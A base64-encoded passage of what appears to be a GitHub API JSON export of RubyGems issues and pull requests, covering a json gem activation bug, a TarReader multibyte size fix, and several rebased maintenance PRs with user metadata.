J1xuICAgIGZyb20gL1VzZXJzL2NvZHkvLnJ1Ymllcy9ydWJ5LTIuMy4wL2xpYi9ydWJ5LzIuMy4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjg4OmluIGBlYWNoJ1xuICAgIGZyb20gL1VzZXJzL2NvZHkvLnJ1Ymllcy9ydWJ5LTIuMy4wL2xpYi9ydWJ5LzIuMy4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjg4OmluIGByZXF1aXJlJ1xuICAgIGZyb20gL1VzZXJzL2NvZHkvLmdlbS9ydWJ5LzIuMy4wL2dlbXMvdGVzdF9qc29uLTEuMC9iaW4vdGVzdF9qc29uOjM6aW4gYDx0b3AgKHJlcXVpcmVkKT4nXG4gICAgZnJvbSAvVXNlcnMvY29keS8uZ2VtL3J1YnkvMi4zLjAvYmluL3Rlc3RfanNvbjoyMzppbiBgbG9hZCdcbiAgICBmcm9tIC9Vc2Vycy9jb2R5Ly5nZW0vcnVieS8yLjMuMC9iaW4vdGVzdF9qc29uOjIzOmluIGA8bWFpbj4nXG5gYGBcblxuV2hhdCdzIGdvaW5nIG9uIGlzIHRoYXQgcnVieWdlbSdzIHJlcXVpcmUgc2VlcyB0aGF0IGBqc29uYCBpcyBhIGJ1aWx0IGluIGdlbSAoaXQgZXhpc3RzIGluIGBsaWIvcnVieS9nZW1zLzIuMy4wL3NwZWNpZmljYXRpb25zL2RlZmF1bHRgKSwgc28gYWN0aXZhdGVzIHRoZSBnZW1zcGVjLiBEdWUgdG8gdGhlIGB0ZXN0X2pzb25gIGdlbSdzIGRlcGVuZGVuY3kgb24gYm90aCBgYWN0aXZlc3VwcG9ydGAgYW5kIGBhd3Mtc2RrLXYxYCAod2hpY2ggdHJhbnNpdGl2ZWx5IGRlcGVuZCBvbiBganNvbmAsIGJ1dCB3aXRoIGRpZmZlcmVudCByZXF1aXJlbWVudHMpLCBgdW5yZXNvbHZlZF9kZXBzYCBpcyBub3QgZW1wdHkuIEl0IGFsc28gZG9lcyBub3QgaW5jbHVkZSBganNvbmAgKGNhdXNlIGB0ZXN0X2pzb25gIGRvZXNuJ3QgZGlyZWN0bHkgZGVwZW5kIG9uIGl0KS4gU28gdGhlbiB3ZSBnZXQgdG8gYEdlbTo6U3BlY2lmaWNhdGlvbi5maW5kX2luX3VucmVzb2x2ZWRfdHJlZWAsIHdoaWNoIGZpbmRzIHR3byBjYW5kaWRhdGVzIC0ganNvbiAxLjguMiAod2hpY2ggd2UgbWFudWFsbHkgaW5zdGFsbGVkLiBpbiBteSBjYXNlIGl0IGhhZCBiZWVuIGluc3RhbGxlZCBieSBhbiBhcHAgdGhhdCB3YXMgbG9ja2VkIHRvIDEuOC4yKSwgYW5kIHRoZSBidWlsdGluIDEuOC4zLiBCdXQgdGhlIDEuOC4zIHNwZWMgcmV0dXJucyBgZmFsc2VgIGZvciBgaGF2ZV9maWxlPygnanNvbicpYCwgYmVjYXVzZSBpdHMgYGdlbXNfZGlyYCBpcyBgbGliL3J1YnkvZ2Vtcy8yLjMuMC9nZW1zYCwgYW5kIGBsaWIvcnVieS9nZW1zLzIuMy4wL2dlbXMvanNvbi0xLjguMy9qc29uLnJiYCBkb2VzIG5vdCBleGlzdCAtIGl0J3MgYWN0dWFsbHkgYXQgYGxpYi9ydWJ5LzIuMy4wL2pzb24ucmJgLiBJJ20gcHJldHR5IHN1cmUgdGhlIGZpeCBpcyB0byByZXR1cm4gaW1tZWRpYXRlbHkgaW4gYGZpbmRfaW5fdW5yZXNvbHZlZF90cmVlYCBpZiBgdG9fc3BlYy5hY3RpdmF0ZWQ/YC4gbW9ua2V5IHBhdGNoaW5nIHRoYXQgaW50byBteSBjdXJyZW50IHJ1YnkgZ2VtcyBmaXhlcyBpdCBmb3IgbWUuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NDYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ0Ni9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ0Ni9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDQ2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQ0NiIsImlkIjoxMjUzNjM0NzgsIm51bWJlciI6MTQ0NiwidGl0bGUiOiJHZW06OlBhY2thZ2U6OlRhclJlYWRlcjo6RW50cnk6IHVzZSBjb3JyZWN0IHN0cmluZyBzaXplIiwidXNlciI6eyJsb2dpbiI6Imhhbm5lc2ciLCJpZCI6MTQzMTQ4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNDMxNDg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hhbm5lc2ciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oYW5uZXNnIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGFubmVzZy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oYW5uZXNnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hhbm5lc2cvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hhbm5lc2cvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oYW5uZXNnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGFubmVzZy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oYW5uZXNnL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGFubmVzZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGFubmVzZy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOnsibG9naW4iOiJrcmFpbmJvbHRncmVlbmUiLCJpZCI6MzM0ODA5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMzQ4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tyYWluYm9sdGdyZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJrcmFpbmJvbHRncmVlbmUiLCJpZCI6MzM0ODA5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMzQ4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tyYWluYm9sdGdyZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX1dLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNi0wMS0wN1QxMDoxMDozMloiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMToxNloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQ0NiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQ0NiIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQ0Ni5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQ0Ni5wYXRjaCJ9LCJib2R5IjoiYEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeS5nZXRjYCBhbmQgYC5yZWFkYCBkb24ndCB1cGRhdGUgYEByZWFkYCBjb3JyZWN0bHkgd2hlbiBhIG11bHRpYnl0ZSBlbmNvZGluZyBpcyB1c2VkLiBJIGd1ZXNzIHRoaXMgZGlkbid0IGNhdXNlIGFueSBwcm9ibGVtcyBzbyBmYXIgYmVjYXVzZSBtb3N0IGNvZGUganVzdCByZWFkcyBhbiBlbnRpcmUgdGFyIGVudHJ5IGluIG9uZSBnby5cblxuSSdtIG5vdCBzdXJlIGFib3V0IHRoZSBpbXBsZW1lbnRhdGlvbiBvZiBgY2hhcl9ieXRlc2l6ZWAgYWRuIGBzdHJpbmdfYnl0ZXNpemVgIGJlY2F1c2UgdGhleSBkbyB0eXBlIGRldGVjdGlvbiBhdCBydW50aW1lLiBJIHRyaWVkIHRvIHNvbHZlIHRoaXMgYnkgd3JhcHBpbmcgdGhlIG1ldGhvZCBkZWZzIGluIGlmLWJsb2NrcyBidXQgdGhhdCBsb29rZWQgdmVyeSBvZGQuIEkgZ3Vlc3MgdGhpcyBpcyB0aGUgbW9zdCBtYWludGFpbmFibGUgdmVyc2lvbi5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQzNCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDM0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDM0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MzQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNDM0IiwiaWQiOjEyNDQ0ODk0OSwibnVtYmVyIjoxNDM0LCJ0aXRsZSI6IkFkZCBzb3J0LWJ5LWxhdGVzdC12ZXJzaW9uIHRvIGxpc3QgW3JlYmFzZWRdIiwidXNlciI6eyJsb2dpbiI6ImtyYWluYm9sdGdyZWVuZSIsImlkIjozMzQ4MDksImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzMzNDgwOT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20va3JhaW5ib2x0Z3JlZW5lIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjYsImNyZWF0ZWRfYXQiOiIyMDE1LTEyLTMxVDA4OjU0OjE5WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA4VDAwOjI4OjM4WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQzNCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzNCIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzNC5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzNC5wYXRjaCJ9LCJib2R5IjoiVGhpcyBpcyBhIHJlYmFzZSBvZiAjNjE3XG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MzMiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQzMy9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQzMy9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDMzL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzMyIsImlkIjoxMjQ0NDg2OTIsIm51bWJlciI6MTQzMywidGl0bGUiOiJSZW1vdmUgdXNlbGVzcyBkaXJlY3RvcnkgcGFyYW1ldGVyIGZyb20gYnVpbGRlcnMgLmJ1aWxkIG1ldGhvZHMuIFtyZWJhc2VkXSIsInVzZXIiOnsibG9naW4iOiJrcmFpbmJvbHRncmVlbmUiLCJpZCI6MzM0ODA5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMzQ4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tyYWluYm9sdGdyZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNTYzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBtYWpvciUyMGJ1bXAiLCJuYW1lIjoidHlwZTogbWFqb3IgYnVtcCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEsImNyZWF0ZWRfYXQiOiIyMDE1LTEyLTMxVDA4OjQ5OjMwWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI5VDA0OjQwOjA0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQzMyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzMyIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzMy5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQzMy5wYXRjaCJ9LCJib2R5IjoiVGhpcyBpcyBhIHJlYmFzZSBvZiAjNjY5XG5cblRoaXMgcGFyYW1ldGVyIHdhcyBpbnRyb2R1Y2VkIDggeWVhcnMgYWdvLCBidXQgd2FzIG5ldmVyIHVzZWQuIEFsdGhvdWdoXG5pdCBtaWdodCBicmVhayBzb21lIFJ1YnlHZW1zIHBsdWdpbiwgaXQgZG9lc24ndCBzZWVtcyB0aGVyZSBleGlzdCBhbnlcbmFsdGVybmF0aXZlIFJ1YnlHZW1zIGJ1aWxkZXIgaW4gdGhlIHdpbGQuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MjIiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQyMi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQyMi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDIyL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDIyIiwiaWQiOjEyMzg1MDc1MSwibnVtYmVyIjoxNDIyLCJ0aXRsZSI6IkdFTV9QQVRIIGJlaW5nIHJlc2V0IG9uIGV4dGNvbmYucmIgZXh0ZW5zaW9ucyIsInVzZXIiOnsibG9naW4iOiJhZXNwaW5vc2EiLCJpZCI6NTg3NzEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzU4NzcxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hZXNwaW5vc2EiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9hZXNwaW5vc2EiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hZXNwaW5vc2EvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWVzcGlub3NhL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Flc3Bpbm9zYS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWVzcGlub3NhL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWVzcGlub3NhL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWVzcGlub3NhL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Flc3Bpbm9zYS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Flc3Bpbm9zYS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMv